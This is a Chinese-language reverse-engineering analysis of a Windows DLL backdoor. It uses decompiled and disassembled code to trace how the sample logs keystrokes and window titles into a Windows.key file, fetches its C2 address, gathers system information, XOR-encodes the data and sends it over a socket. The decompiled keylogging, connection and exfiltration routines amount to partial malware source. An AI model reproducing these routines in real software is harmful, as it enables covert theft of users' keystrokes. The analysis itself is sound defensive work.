1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // 程序末尾 LABEL_35: if ( ++v2 >= 101 ) goto LABEL_3; } LABEL_3: Sleep(0xAu); // 线程暂停10ms if ( lstrlenA(String) ) // 检查string长度 { if ( sub_10005F30() ) // string非空调用 { SaveStrToLocalFile(asc_1001B9C0); SaveStrToLocalFile(String); } else { SaveStrToLocalFile(String); } memset (String, 0, sizeof (String)); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | int sub_10005F30() { int v0; // esi struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-410h] BYREF CHAR String[1021]; // [esp+18h] [ebp-400h] BYREF __int16 v4; // [esp+415h] [ebp-3h] char v5; // [esp+417h] [ebp-1h] memset (::String, 0, sizeof (::String)); dword_10022A10 = ( int )GetForegroundWindow(); GetWindowTextA(( HWND )dword_10022A10, ::String, 1024); memset (String, 0, sizeof (String)); v0 = 0; v4 = 0; v5 = 0; if ( dword_10022A10 != dword_1002260C ) { if ( lstrlenA(::String) > 0 ) { GetLocalTime(&SystemTime); wsprintfA( String, asc_1001B97C, ::String, SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); SaveStrToLocalFile(String); memset (::String, 0, sizeof (::String)); v0 = 1; } dword_1002260C = dword_10022A10; } return v0; } |
查看.key的交叉引用,查看哪里还使用了这个Windows.key文件,定位到sub_10006250
这是一个比较大只,头重脚轻的函数
首先调用了sub_100034D0
,传入的参数是传入sub_10006250
的第一个参数,类型为HANDLE,还有int值8025
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | .text:10006250 81 EC 0C 02 00 00 sub esp, 20Ch .text:10006256 53 push ebx .text:10006257 55 push ebp .text:10006258 56 push esi .text:10006259 57 push edi .text:1000625A 8B E9 mov ebp, ecx .text:1000625C 81 EC 20 06 00 00 sub esp, 620h .text:10006262 B9 88 01 00 00 mov ecx, 188h .text:10006267 8D B4 24 40 08 00 00 lea esi, [esp+83Ch+arg_0] .text:1000626E 8B FC mov edi, esp .text:10006270 68 59 1F 00 00 push 1F59h .text:10006275 F3 A5 rep movsd .text:10006277 8B CD mov ecx, ebp .text:10006279 89 AC 24 34 06 00 00 mov [esp+840h+var_20C], ebp .text:10006280 E8 4B D2 FF FF call sub_100034D0 |
可以看到,传了edi和1F59h的参数,跟进sub_100034D0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | .text:100034D0 81 EC EC 01 00 00 sub esp, 1ECh .text:100034D6 53 push ebx .text:100034D7 55 push ebp .text:100034D8 56 push esi .text:100034D9 57 push edi .text:100034DA 8B D9 mov ebx, ecx .text:100034DC E8 4F 03 00 00 call sub_10003830 .text:100034DC .text:100034E1 8D 7B 04 lea edi, [ebx+4] .text:100034E4 B9 88 01 00 00 mov ecx, 188h .text:100034E9 8D B4 24 04 02 00 00 lea esi, [esp+1FCh+arg_4] .text:100034F0 8D 43 38 lea eax, [ebx+38h] .text:100034F3 F3 A5 rep movsd .text:100034F5 8D B3 2C 06 00 00 lea esi, [ebx+62Ch] .text:100034FB 50 push eax ; lpString2 .text:100034FC 56 push esi ; lpString1 .text:100034FD FF 15 2C 52 01 10 call ds:lstrcpyA .text:100034FD .text:10003503 8B 4B 10 mov ecx, [ebx+10h] .text:10003506 8D BB 38 01 00 00 lea edi, [ebx+138h] .text:1000350C 57 push edi ; lpString .text:1000350D 89 8B 30 07 00 00 mov [ebx+730h], ecx .text:10003513 FF 15 34 52 01 10 call ds:lstrlenA .text:10003513 .text:10003519 85 C0 test eax, eax .text:1000351B 74 08 jz short loc_10003525 .text:1000351B .text:1000351D 57 push edi .text:1000351E 8B CB mov ecx, ebx .text:10003520 E8 AB 00 00 00 call sub_100035D0 .text:10003520 .text:10003525 .text:10003525 loc_10003525: ; CODE XREF: sub_100034D0+4B↑j .text:10003525 8B 2D 00 52 01 10 mov ebp, ds:GetTickCount .text:1000352B FF D5 call ebp ; GetTickCount .text:1000352B .text:1000352D 8B 93 30 07 00 00 mov edx, [ebx+730h] .text:10003533 8B CB mov ecx, ebx .text:10003535 52 push edx ; hostshort .text:10003536 56 push esi ; lpString2 .text:10003537 89 44 24 18 mov [esp+204h+var_1EC], eax .text:1000353B E8 A0 0B 00 00 call sub_100040E0 .text:1000353B .text:10003540 85 C0 test eax, eax .text:10003542 89 83 24 06 00 00 mov [ebx+624h], eax .text:10003548 75 0D jnz short loc_10003557 .text:10003548 .text:1000354A 5F pop edi .text:1000354B 5E pop esi .text:1000354C 5D pop ebp .text:1000354D 5B pop ebx .text:1000354E 81 C4 EC 01 00 00 add esp, 1ECh .text:10003554 C2 24 06 retn 624h .text:10003554 .text:10003557 ; --------------------------------------------------------------------------- .text:10003557 .text:10003557 loc_10003557: ; CODE XREF: sub_100034D0+78↑j .text:10003557 B9 78 00 00 00 mov ecx, 78h ; 'x' .text:1000355C 33 C0 xor eax, eax .text:1000355E 8D 7C 24 1C lea edi, [esp+1FCh+var_1E0] .text:10003562 F3 AB rep stosd .text:10003564 8B 84 24 00 02 00 00 mov eax, [esp+1FCh+arg_0] .text:1000356B 8B 8B 0C 05 00 00 mov ecx, [ebx+50Ch] .text:10003571 89 44 24 14 mov dword ptr [esp+1FCh+buf], eax .text:10003575 89 4C 24 48 mov [esp+1FCh+var_1B4], ecx .text:10003579 FF D5 call ebp ; GetTickCount .text:10003579 .text:1000357B 8B 74 24 10 mov esi, [esp+1FCh+var_1EC] .text:1000357F 8D 54 24 14 lea edx, [esp+1FCh+buf] .text:10003583 2B C6 sub eax, esi .text:10003585 8B CB mov ecx, ebx .text:10003587 50 push eax .text:10003588 8D 43 04 lea eax, [ebx+4] .text:1000358B 50 push eax .text:1000358C 52 push edx .text:1000358D E8 BE 09 00 00 call sub_10003F50 .text:1000358D .text:10003592 8D 44 24 14 lea eax, [esp+1FCh+buf] .text:10003596 68 E8 01 00 00 push 1E8h .text:1000359B 50 push eax .text:1000359C E8 BF 30 00 00 call sub_10006660 .text:1000359C .text:100035A1 83 C4 08 add esp, 8 .text:100035A4 8D 4C 24 14 lea ecx, [esp+1FCh+buf] .text:100035A8 68 E8 01 00 00 push 1E8h ; len .text:100035AD 51 push ecx ; buf .text:100035AE 8B CB mov ecx, ebx .text:100035B0 E8 BB 01 00 00 call sub_10003770 .text:100035B0 .text:100035B5 5F pop edi .text:100035B6 5E pop esi .text:100035B7 5D pop ebp .text:100035B8 5B pop ebx .text:100035B9 81 C4 EC 01 00 00 add esp, 1ECh .text:100035BF C2 24 06 retn 624h .text:100035BF .text:100035BF sub_100034D0 endp |
先看第一个call,sub_10003830
里面调用了closesocket接口,看来主要是把收集到的信息socket发送出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | .text:10003830 56 push esi .text:10003831 8B F1 mov esi, ecx .text:10003833 8B 86 24 06 00 00 mov eax, [esi+624h] .text:10003839 85 C0 test eax, eax .text:1000383B 74 11 jz short loc_1000384E .text:1000383B .text:1000383D 50 push eax ; s .text:1000383E FF 15 40 54 01 10 call ds:closesocket .text:1000383E .text:10003844 C7 86 24 06 00 00 00 00 00 00 mov dword ptr [esi+624h], 0 .text:10003844 .text:1000384E .text:1000384E loc_1000384E: ; CODE XREF: sub_10003830+B↑j .text:1000384E 5E pop esi .text:1000384F C3 retn .text:1000384F .text:1000384F sub_10003830 endp |
1 2 3 4 5 6 7 8 9 10 11 12 | int __thiscall sub_10003830(SOCKET * this ) { int result; // eax result = this [393]; if ( result ) { result = closesocket( this [393]); this [393] = 0; } return result; } |
在__thiscall调用约定中,ecx寄存器往往是存放this指针的,因此这里是传递了ecx的this指针给sub_10003830函数,this指针中可能注册了socket实例。
1 2 3 4 5 6 7 | .text:100034D0 81 EC EC 01 00 00 sub esp, 1ECh .text:100034D6 53 push ebx .text:100034D7 55 push ebp .text:100034D8 56 push esi .text:100034D9 57 push edi .text:100034DA 8B D9 mov ebx, ecx .text:100034DC E8 4F 03 00 00 call sub_10003830 |
会检查this指针第394位,若非空,则关闭socket,再置空,可能是标志位,或者是socket存储位置,判断此刻socket非空,就释放。这个函数位于最前面,应该是为后续操作清除资源做初始化操作。
调用lstrcpyA将传入的对象中成员进行复制,以及赋值
1 2 3 4 | sub_10003830(); qmemcpy(( void *)(a1 + 4), &a3, 0x620u); lstrcpyA(( LPSTR )(a1 + 1580), ( LPCSTR )(a1 + 56)); *(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16); |
LPCSTR 通常用于 Windows API 中,表示一个指向以 null 结尾的字符数组(即 C 风格字符串)的指针。所以这里是指向a1向后的312位偏移处,这里存放一个指向字符数组的指针。如果这个字符数组不为空,则调用sub_100035D0
1 2 | if ( lstrlenA(( LPCSTR )(a1 + 312)) ) sub_100035D0(a1 + 312); |
跟进,分析在注释里。sub_100035D0函数作用为从web获取临时文件数据,并从中解析URL信息,于是重命名为ParseWebTmpFileInfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | int __thiscall ParseWebTmpFileInfo( int this , const char *a2) { int v3; // eax int result; // eax HANDLE FileA; // eax void *v6; // edi unsigned int FileSize; // ebp void *v8; // esi PSTR v9; // eax PSTR v10; // eax PSTR v11; // eax PSTR v12; // edi DWORD CurrentThreadId; // [esp-4h] [ebp-518h] DWORD NumberOfBytesRead; // [esp+Ch] [ebp-508h] BYREF CHAR Buffer[257]; // [esp+10h] [ebp-504h] BYREF __int16 v16; // [esp+111h] [ebp-403h] char v17; // [esp+113h] [ebp-401h] CHAR szUrl[1021]; // [esp+114h] [ebp-400h] BYREF __int16 v19; // [esp+511h] [ebp-3h] char v20; // [esp+513h] [ebp-1h] memset (szUrl, 0, sizeof (szUrl)); v19 = 0; v20 = 0; wsprintfA(szUrl, "http://%s" , a2); // 构建URL memset (Buffer, 0, sizeof (Buffer)); v16 = 0; v17 = 0; GetTempPathA(0xFAu, Buffer); // 获取系统临时文件夹的路径 CurrentThreadId = GetCurrentThreadId(); // 获取当前线程的ID v3 = lstrlenA(Buffer); wsprintfA(&Buffer[v3], "%08x.txt" , CurrentThreadId); // 构建一个临时文件名,TID.txt result = DownloadData2FileFromUrl(szUrl, Buffer); // 从URL下载数据到临时文件 if ( result ) { FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0); v6 = FileA; if ( FileA == ( HANDLE )-1 ) { return 0; } else { NumberOfBytesRead = 0; FileSize = GetFileSize(FileA, 0); v8 = operator new (FileSize); ReadFile(v6, v8, FileSize, &NumberOfBytesRead, 0); // 把临时文件数据写入内存 CloseHandle(v6); DeleteFileA(Buffer); // 写入内存之后就删了临时文件 v9 = StrChrA(( PCSTR )v8, 0xDu); // 回车,CR,13 if ( v9 ) // 置空 *v9 = 0; v10 = StrChrA(( PCSTR )v8, 0xAu); // 换行,LF,10 if ( v10 ) // 置空 *v10 = 0; v11 = StrChrA(( PCSTR )v8, 0x3Au); // 冒号,58 v12 = v11; if ( v11 ) { *v11 = 0; lstrcpyA(( LPSTR )( this + 1580), ( LPCSTR )v8); // 如果找到冒号,分割字符串并将前半部分复制到this+1580的位置 *(_DWORD *)( this + 1840) = StrToIntA(v12 + 1); // 将冒号后的字符串(端口)转换为整数并存储到this+1840的位置 } else { lstrcpyA(( LPSTR )( this + 1580), ( LPCSTR )v8); // 如果没有找到冒号,只复制字符串并设置默认端口80 *(_DWORD *)( this + 1840) = 80; } operator delete (v8); // 关闭内存 return 1; } } return result; } |
跟进sub_100064C0,重命名为DownloadData2FileFromUrl
。该函数主要作用是从url下载数据到临时文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | int __cdecl sub_100064C0( LPCSTR lpszUrl, LPCSTR lpFileName) { void *v2; // ebp void *v3; // esi HANDLE FileA; // edi int v6; // ebx DWORD dwNumberOfBytesRead; // [esp+10h] [ebp-1218h] BYREF int v8; // [esp+14h] [ebp-1214h] HINTERNET hInternet; // [esp+18h] [ebp-1210h] DWORD dwBufferLength; // [esp+1Ch] [ebp-120Ch] BYREF DWORD dwIndex; // [esp+20h] [ebp-1208h] BYREF DWORD NumberOfBytesWritten; // [esp+24h] [ebp-1204h] BYREF _BYTE String2[253]; // [esp+28h] [ebp-1200h] BYREF __int16 v14; // [esp+125h] [ebp-1103h] char v15; // [esp+127h] [ebp-1101h] CHAR Buffer[253]; // [esp+128h] [ebp-1100h] BYREF __int16 v17; // [esp+225h] [ebp-1003h] char v18; // [esp+227h] [ebp-1001h] char v19[4096]; // [esp+228h] [ebp-1000h] BYREF v2 = InternetOpenA(pszSubKey, 0, 0, 0, 0); hInternet = v2; if ( !v2 ) return 0; v3 = InternetOpenUrlA(v2, lpszUrl, 0, 0, 0x80000100, 0); if ( !v3 ) { InternetCloseHandle(v2); return 0; } memset (Buffer, 0, sizeof (Buffer)); memset (&String2[1], 0, 0xFCu); v14 = 0; v15 = 0; v17 = 0; v18 = 0; qmemcpy(String2, "200" , 3); dwBufferLength = 250; dwIndex = 0; if ( !HttpQueryInfoA(v3, 0x13u, Buffer, &dwBufferLength, &dwIndex) || lstrcmpA(Buffer, String2) || (FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0), FileA == ( HANDLE )-1) ) { InternetCloseHandle(v3); InternetCloseHandle(v2); return 0; } v8 = 0; dwNumberOfBytesRead = 0; NumberOfBytesWritten = 0; while ( InternetReadFile(v3, v19, 0xFA0u, &dwNumberOfBytesRead) ) { if ( !dwNumberOfBytesRead ) { v6 = 1; goto LABEL_13; } WriteFile(FileA, v19, dwNumberOfBytesRead, &NumberOfBytesWritten, 0); } v6 = v8; LABEL_13: CloseHandle(FileA); InternetCloseHandle(v3); InternetCloseHandle(hInternet); return v6; } |
回到sub_100034D0,提取出信息存储到this对象之后,生成计数器,然后调用sub_100040E0
,这里两个参数分别是提取的URL和端口
1 2 | TickCount = GetTickCount(); result = sub_100040E0(( LPCSTR )(a1 + 1580), *(_DWORD *)(a1 + 1840)); |
经过分析,sub_100040E0的作用是根据URL和端口创建socket并且发起通信,一切成功则返回套接字描述符,因此重命名为SocketConnect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | struct hostent *__stdcall SocketConnect( LPCSTR lpString2, u_short hostshort) { struct hostent *result; // eax unsigned int h_length; // ecx const void **h_addr_list; // eax const void *v5; // esi char *v6; // eax SOCKET v7; // eax SOCKET v8; // esi char v9[4]; // [esp+10h] [ebp-12Ch] BYREF struct sockaddr name; // [esp+14h] [ebp-128h] BYREF char optval[4]; // [esp+24h] [ebp-118h] BYREF struct in_addr in[3]; // [esp+2Ah] [ebp-112h] BYREF __int16 v13; // [esp+36h] [ebp-106h] CHAR String1[257]; // [esp+38h] [ebp-104h] BYREF __int16 v15; // [esp+139h] [ebp-3h] char v16; // [esp+13Bh] [ebp-1h] memset (String1, 0, sizeof (String1)); v15 = 0; memset (&name, 0, sizeof (name)); v16 = 0; lstrcpyA(String1, lpString2); // 追加url if ( inet_addr(String1) == -1 ) // winsock2函数,转换为网络地址 { result = gethostbyname(String1); // winsock函数,转换失败的话,根据域名解析IP地址 if ( !result ) return result; h_length = result->h_length; h_addr_list = ( const void **)result->h_addr_list; memset (in, 0, sizeof (in)); v5 = *h_addr_list; v13 = 0; qmemcpy(&in[0].S_un.S_un_w.s_w2, v5, h_length); v6 = inet_ntoa(*( struct in_addr *)&in[0].S_un.S_un_w.s_w2); lstrcpyA(String1, v6); // 处理地址之后存放入string1 } *(_DWORD *)&name.sa_data[2] = inet_addr(String1); // 源地址 *(_WORD *)name.sa_data = htons(hostshort); // 源端口 name.sa_family = 2; // 协议族 v7 = socket(2, 1, 0); // 创建socket v8 = v7; if ( v7 == -1 ) return 0; if ( connect(v7, &name, 16) == -1 || (*(_DWORD *)optval = 1, setsockopt(v8, 6, 1, optval, 4)) ) // 发起socket通信 { closesocket(v8); return 0; } else { *(_DWORD *)v9 = 1; if ( setsockopt(v8, 0xFFFF, 8, v9, 4) || (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4102, v9, 4)) || (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4101, v9, 4)) ) { closesocket(v8); return 0; } else { return ( struct hostent *)v8; // 返回套接字描述符 } } } |
回到100034D0,如果result返回了套接字描述符,则注册到this对象1572偏移处,并且调用sub_10003F50、sub_10006660与sub_10003770函数
1 2 3 4 5 6 7 8 9 10 11 12 13 | *(_DWORD *)(a1 + 1572) = result; if ( result ) { memset (v70, 0, sizeof (v70)); v66 = *(_DWORD *)(a1 + 1292); *(_DWORD *)buf = a2; v70[11] = v66; v67 = GetTickCount(); sub_10003F50(buf, a1 + 4, v67 - TickCount); sub_10006660(buf, 488); return sub_10003770(buf, 488); } return result; |
首先跟进sub_10003F50,整体是获取系统信息的作用,改名为GetSysInfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | UINT __thiscall GetSysInfo(_DWORD * this , int a2, int a3, int a4) { int v5; // eax DWORD dwNumberOfProcessors; // ecx int ullTotalPhys_high; // ecx UINT result; // eax SOCKET v9; // [esp-Ch] [ebp-98h] DWORD nSize; // [esp+10h] [ebp-7Ch] BYREF int namelen; // [esp+14h] [ebp-78h] BYREF struct sockaddr name; // [esp+18h] [ebp-74h] BYREF struct _SYSTEM_INFO SystemInfo; // [esp+28h] [ebp-64h] BYREF struct _MEMORYSTATUSEX Buffer; // [esp+4Ch] [ebp-40h] BYREF SystemInfo.dwOemId = 0; *(_DWORD *)(a2 + 44) = sub_100042F0(); *(_DWORD *)(a2 + 8) = 808464432; *(_DWORD *)(a2 + 12) = 808464432; memset (&SystemInfo.dwPageSize, 0, 0x20u); GetSystemInfo(&SystemInfo); // 获取系统信息systeminfo结构体指针 v5 = sub_100043D0( this ); // 获取系统信息,存储入this对象 dwNumberOfProcessors = SystemInfo.dwNumberOfProcessors; *(_DWORD *)(a2 + 16) = v5; *(_DWORD *)(a2 + 48) = dwNumberOfProcessors; memset (&Buffer.dwMemoryLoad, 0, 0x3Cu); Buffer.dwLength = 64; GlobalMemoryStatusEx(&Buffer); ullTotalPhys_high = HIDWORD(Buffer.ullTotalPhys); *(_DWORD *)(a2 + 24) = Buffer.ullTotalPhys; *(_DWORD *)(a2 + 28) = ullTotalPhys_high; nSize = 16; RegTableOperation(HKEY_CURRENT_USER, aSoftwareLimit, ValueName, 1u, ( LPSTR )(a2 + 228), 0, 128, 0); // 查询修改注册表信息 if ( !lstrlenA(( LPCSTR )(a2 + 228)) ) GetComputerNameA(( LPSTR )(a2 + 228), &nSize); // 获取主机名称 *(_DWORD *)(a2 + 40) = ( char )sub_10004760( this ); lstrcpyA(( LPSTR )(a2 + 100), ( LPCSTR )(a3 + 564)); *(_DWORD *)(a2 + 64) = *(_DWORD *)(a3 + 1292); *(_DWORD *)(a2 + 68) = *(_DWORD *)(a3 + 1296); *(_DWORD *)(a2 + 72) = *(_DWORD *)(a3 + 1300); *(_DWORD *)(a2 + 76) = *(_DWORD *)(a3 + 1304); lstrcpyA(( LPSTR )(a2 + 356), ( LPCSTR )(a3 + 996)); lstrcpyA(( LPSTR )(a2 + 420), ( LPCSTR )(a3 + 964)); memset (&name, 0, sizeof (name)); v9 = this [393]; // 从this对象获取sock值 namelen = 16; getsockname(v9, &name, &namelen); *(_DWORD *)(a2 + 56) = *(_DWORD *)&name.sa_data[2]; // 注册到a2中 *(_DWORD *)(a2 + 60) = a4; *(_DWORD *)(a2 + 32) = GetACP(); result = GetOEMCP(); *(_DWORD *)(a2 + 36) = result; return result; } |
重点关注:sub_10003AC0,对注册表操作,传入的参数为HKEY_CURRENT_USER, "Software\limit", "Host"等,提取出来的关键代码完整流程(省略了一大部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | // 注册表操作,HKEY_CURRENT_USER, "Software\limit", "Host", 1u, (LPSTR)(a2 + 228), 0, 128, 0 // 查询当前用户下,Software\limit下Host记录的值,并追加到this对象中 int RegTableOperation( HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, DWORD Type, LPSTR lpString1, LPBYTE lpData, int a7, int a8) { HKEY phkResult; // 存储打开的键的句柄 DWORD cbData; // 存储数据大小 BYTE Data[260]; // 存储注册表值的数据 int v21 = 0; // 存储函数的返回状态 // 尝试打开注册表键 if (RegOpenKeyExA(hKey, lpSubKey, 0, KEY_QUERY_VALUE, &phkResult) != ERROR_SUCCESS) { v21 = -1; } else { // 查询字符串类型的值 cbData = 260; if (RegQueryValueExA(phkResult, lpValueName, 0, NULL, Data, &cbData) == ERROR_SUCCESS) { // 将查询到的字符串复制到指定的缓冲区 strcpy (lpString1, ( const char *)Data); v21 = 1; } } // 关闭打开的注册表键 RegCloseKey(phkResult); return v21; // 返回操作状态 } |
sub_10006660起到一个异或加密的作用
1 2 3 4 5 6 7 8 | unsigned int __cdecl sub_10006660( int a1, unsigned int a2) { unsigned int result; // eax for ( result = 0; result < a2; ++result ) *(_BYTE *)(result + a1) = (*(_BYTE *)(result + a1) ^ 0x96) + 35; return result; } |
sub_10003770中send了套接字消息,重命名为SocketSend
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | int __thiscall SocketSend(SOCKET * this , char *buf, unsigned int len) { unsigned int v5; // ebx int v6; // edi int v8; // eax v5 = 0; v6 = len; if ( ! this [393] ) return 0; if ( len ) { while ( 1 ) { v8 = send( this [393], buf, v6, 0); if ( v8 <= 0 ) break ; v5 += v8; buf += v8; v6 -= v8; if ( v5 >= len ) return 1; } return 0; } return 1; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | int __userpurge sub_100034D0@<eax>( int a1@<ecx>, int a2, ...... int a63) { int result; // eax int v66; // ecx DWORD v67; // eax DWORD TickCount; // [esp+10h] [ebp-1ECh] char buf[4]; // [esp+14h] [ebp-1E8h] BYREF int v70[120]; // [esp+1Ch] [ebp-1E0h] BYREF sub_10003830(); qmemcpy(( void *)(a1 + 4), &a3, 0x620u); lstrcpyA(( LPSTR )(a1 + 1580), ( LPCSTR )(a1 + 56)); *(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16); if ( lstrlenA(( LPCSTR )(a1 + 312)) ) ParseWebTmpFileInfo(a1 + 312); TickCount = GetTickCount(); result = SocketConnect(( LPCSTR )(a1 + 1580), *(_DWORD *)(a1 + 1840)); // 参数分别是,提取的URL和端口 *(_DWORD *)(a1 + 1572) = result; if ( result ) { memset (v70, 0, sizeof (v70)); v66 = *(_DWORD *)(a1 + 1292); *(_DWORD *)buf = a2; v70[11] = v66; v67 = GetTickCount(); GetSysInfo(buf, a1 + 4, v67 - TickCount); XorEncrypt(buf, 488); return SocketSend(buf, 488); } return result; } |
到此为止,sub_100034D0的行为已经很清晰了,下载web数据(从归属对象中取出)到临时文件并提取URL和端口信息到内存,获取系统信息,发起socket连接,XOR加密并send数据。
根据以上分析,可以得出这个sub_100034D0是通用的数据发送接口,包括connect、encrypt、send等,在sub_10006250
开头调用的这里send的数据不是我们收集的Windows.key
文件,猜测这是信息处理之前把资源清空,或者传输过去的int 8025是一个特殊的敲门单词。当然我这里是分析中瞎猜的
1 2 3 4 | sub_100034D0( ( int )a1, 8025, ..... |
跟进导出函数UserService,回头可以发现,此处的sub_100034D0的第二个参数,传的其实是后门的行为标识符,帮助C2了解此时程序的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | int __userpurge KeyWatcher@<eax>( HANDLE *a1@<ecx>, int a2, ...... int a63) { int result; // eax void *v66; // ebx ...... char v83; // [esp+21Bh] [ebp-1h] qmemcpy(v75, &a2, sizeof (v75)); v76 = a1; sub_100034D0( ( int )a1, 8025, v75[0], ...... v75[60]); memset (Buffer, 0, sizeof (Buffer)); v79 = 0; v80 = 0; GetSystemDirectoryA(Buffer, 0x104u); // 检索系统目录的路径 Name[0] = 0; strcat (Buffer, asc_1001B83C); // "Windows.key" strcat (Buffer, aWindows); strcat (Buffer, aKey); memset (&Name[1], 0, 0xFCu); v82 = 0; v83 = 0; wsprintfA(Name, aZt); // "zt" result = ( int )OpenMutexA(0x100000u, 0, Name); v66 = ( void *)result; if ( !result ) return result; beginthread((_beginthread_proc_type)sub_10005DE0, 0, a1); CreateThread(0, 0, KeyWatcherThread, 0, 0, 0); // 开辟键盘迭代记录器线程 v67 = ( void (__stdcall *)( HANDLE , DWORD ))WaitForSingleObject; if ( WaitForSingleObject(a1[461], 0x32u) != 258 ) goto LABEL_15; while ( 1 ) { v68 = 0; NumberOfBytesRead = 0; v67(v66, 0xFFFFFFFF); FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0); // 打开Windows.key v70 = FileA; if ( FileA != ( HANDLE )-1 ) { FileSize = GetFileSize(FileA, 0); v72 = FileSize; if ( FileSize ) { v68 = operator new (FileSize); ReadFile(v70, v68, v72, &NumberOfBytesRead, 0); // 读取到新开辟内存 for ( i = 0; i < v72; ++i ) *((_BYTE *)v68 + i) ^= 0x62u; } CloseHandle(v70); DeleteFileA(Buffer); // 更新Windows.key v67 = ( void (__stdcall *)( HANDLE , DWORD ))WaitForSingleObject; } ReleaseMutex(v66); if ( !NumberOfBytesRead || !v68 ) goto LABEL_12; v74 = SocketSendAPI(( int )v68, NumberOfBytesRead, 0); // SocketSend的接口,增加了一些状况判定 v75[391] = ( int )v68; if ( !v74 ) break ; operator delete (( void *)v75[391]); // 发送成功清空发送完毕的内存中Windows.key文件数据 LABEL_12: if ( (( DWORD (__stdcall *)( HANDLE , DWORD ))v67)(v76[461], 0x32u) != 258 ) goto LABEL_15; } operator delete (( void *)v75[391]); LABEL_15: CloseHandle(v66); return 1; } |
最终成功分析完键盘记录器的行为,sub_10006250
本质是键盘记录器的调度程序,重命名为KeyWatcher
,其中会开辟Keywatcher线程(sub_10006040函数)进行键盘记录,收集来的信息放在C:\Windows\System32\Windows.key
中,在sub_10006250
中重复地被发送给远端主机。
远端主机的信息的获取链路:
可以发现,病毒以this对象为调度中心,会在其中存放一些关键配置,因此这里需要追踪这个对象。
观察IDA中sub_100034D0的签名,可以发现使用用户自定义函数调用__userpurge,,这里表示a1的值通过ecx寄存器传递,而这个a1存放的就是刚刚一直使用的this上下文对象,那么我们需要追踪ecx寄存器。
1 2 | int __userpurge sub_100034D0@<eax>( int a1@<ecx>, |
查看sub_100034D0交叉引用,慢慢排查
由于是对象与方法,这里我们任选一个进行溯源,选择第一个跟进到sub_10001B00,a1 ecx也是他的参数,交叉引用只有一条,跟进到sub_100024D0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | void __cdecl sub_100024D0( void *a1) { HWAVEIN v1[392]; // [esp-620h] [ebp-13B0h] BYREF char v2[1568]; // [esp+8h] [ebp-D88h] BYREF char v3[1884]; // [esp+628h] [ebp-768h] BYREF int v4; // [esp+D8Ch] [ebp-4h] qmemcpy(v2, a1, sizeof (v2)); operator delete (a1); sub_10001970(v3); qmemcpy(v1, v2, sizeof (v1)); v4 = 0; sub_10001B00( ( int )v3, v1[0], ( int )v1[1], |
此时a1作为参数传递进sub_100024D0函数,并赋值给v1数组。这里的HWAVEIN代表着接收设备的波形设备标识符(音频输入设备句柄)。这里合理猜测是监听声音输入信息的驱动。
继续跟进唯一的交叉引用sub_10002020
,里面开辟了非常多的线程,有非常多的case分支,很可能是病毒的命令处理函数,是核心逻辑。
